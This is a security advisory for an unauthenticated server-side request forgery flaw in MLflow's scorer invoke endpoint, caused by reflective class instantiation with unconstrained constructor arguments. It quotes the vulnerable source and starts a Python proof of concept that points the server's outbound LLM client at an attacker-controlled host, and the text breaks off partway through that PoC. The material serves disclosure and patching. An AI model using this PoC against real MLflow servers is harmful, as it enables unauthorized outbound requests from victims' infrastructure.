MLflow: server-side request forgery
Summary
MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).
Details
Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:
```python
data = serialized.third_party_scorer_data # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None) # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained
...
init_kwargs["model"] = data["model"] # attacker model URI
scorer_instance = scorer_class(**init_kwargs) # reflective...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| mlflow PyPI | >= 3.12.0rc0, < 3.17.0 | 3.17.0 |
Details and references
### Summary MLflow's tracking server exposes `POST /ajax-api/3.0/mlflow/scorer/invoke` with **no authentication**, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional `trulens` + `trulens-providers-litellm` packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF). ### Details `Scorer.model_validate_json()` reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in `mlflow/genai/scorers/base.py:549-604`: ```python data = serialized.third_party_scorer_data # attacker JSON module_path = data.get("module") or "" class_name = data.get("class") if not any(module_path == m or module_path.startswith(m + ".") for m in THIRD_PARTY_SCORER_ALLOWED_MODULES): raise MlflowException.invalid_parameter_value(...) module = importlib.import_module(module_path) scorer_class = getattr(module, class_name, None) # attribute NOT constrained ... init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained ... init_kwargs["model"] = data["model"] # attacker model URI scorer_instance = scorer_class(**init_kwargs) # reflective instantiation ``` The allowlist (`mlflow/genai/scorers/scorer_utils.py:46-51`) only gates the import path: ```python THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({ "mlflow.genai.scorers.ragas", "mlflow.genai.scorers.deepeval", "mlflow.genai.scorers.trulens", "mlflow.genai.scorers.phoenix", }) ``` For a `mlflow.genai.scorers.trulens` class, the forwarded `model`/`kwargs` reach an outbound LLM client through a routing choice the attacker controls (`mlflow/genai/scorers/trulens/models.py:97-121`): ```python backend = ScorerLLMClient(model_uri) if backend.route == "databricks": return _create_databricks_provider(backend, **kwargs) if backend.is_native: return _create_gateway_provider(backend, **kwargs) try: from trulens.providers.litellm import LiteLLM litellm_model = backend.model_name ... return LiteLLM(model_engine=litellm_model, **kwargs) # raw attacker kwargs forwarded ``` Only the `litellm` fallback branch reaches raw `**kwargs`; a `model` URI outside MLflow's native provider registry (e.g. `openai:/gpt-4o`) trivially routes there, and `LiteLLM.__init__` forwards `api_base`/`api_key` straight into `litellm.completion()`. - Route: `POST /ajax-api/3.0/mlflow/scorer/invoke` → `_invoke_scorer_handler` (`mlflow/server/handlers.py:7026-7098`), guarded only by `@catch_mlflow_exception`/`@_disable_if_artifacts_only` , no auth decorator. - `Scorer.model_validate_json(serialized_scorer)` (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or `submit_job` call. - Precondition: the server venv must have `trulens` + `trulens-providers-litellm` installed (a documented but optional, not-bundled GenAI-eval setup). ### PoC ```python import time import mlflow from mlflow import MlflowClient import requests TARGET = "http://TARGET:5000" # MLflow tracking server, no auth configured ATTACKER = "http://ATTACKER/collect" # host the attacker controls and monitors client = MlflowClient(tracking_uri=TARGET) # 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id. exp_id = client.create_experiment("poc") mlflow.set_tracking_uri(TARGET) mlflow.set_experiment(experiment_id=exp_id) with mlflow.start_span(name="poc-span") as span: span.set_inputs({"q": "hi"}) span.set_outputs({"a": "hi"}) trace_id = span.request_id # 2. Attack: invoke a reflected trulens scorer whose kwargs point the # outbound LLM client at the attacker host with an attacker-chosen # Authorization value (their own canary, not a server secret). serialized_scorer = { "name": "poc"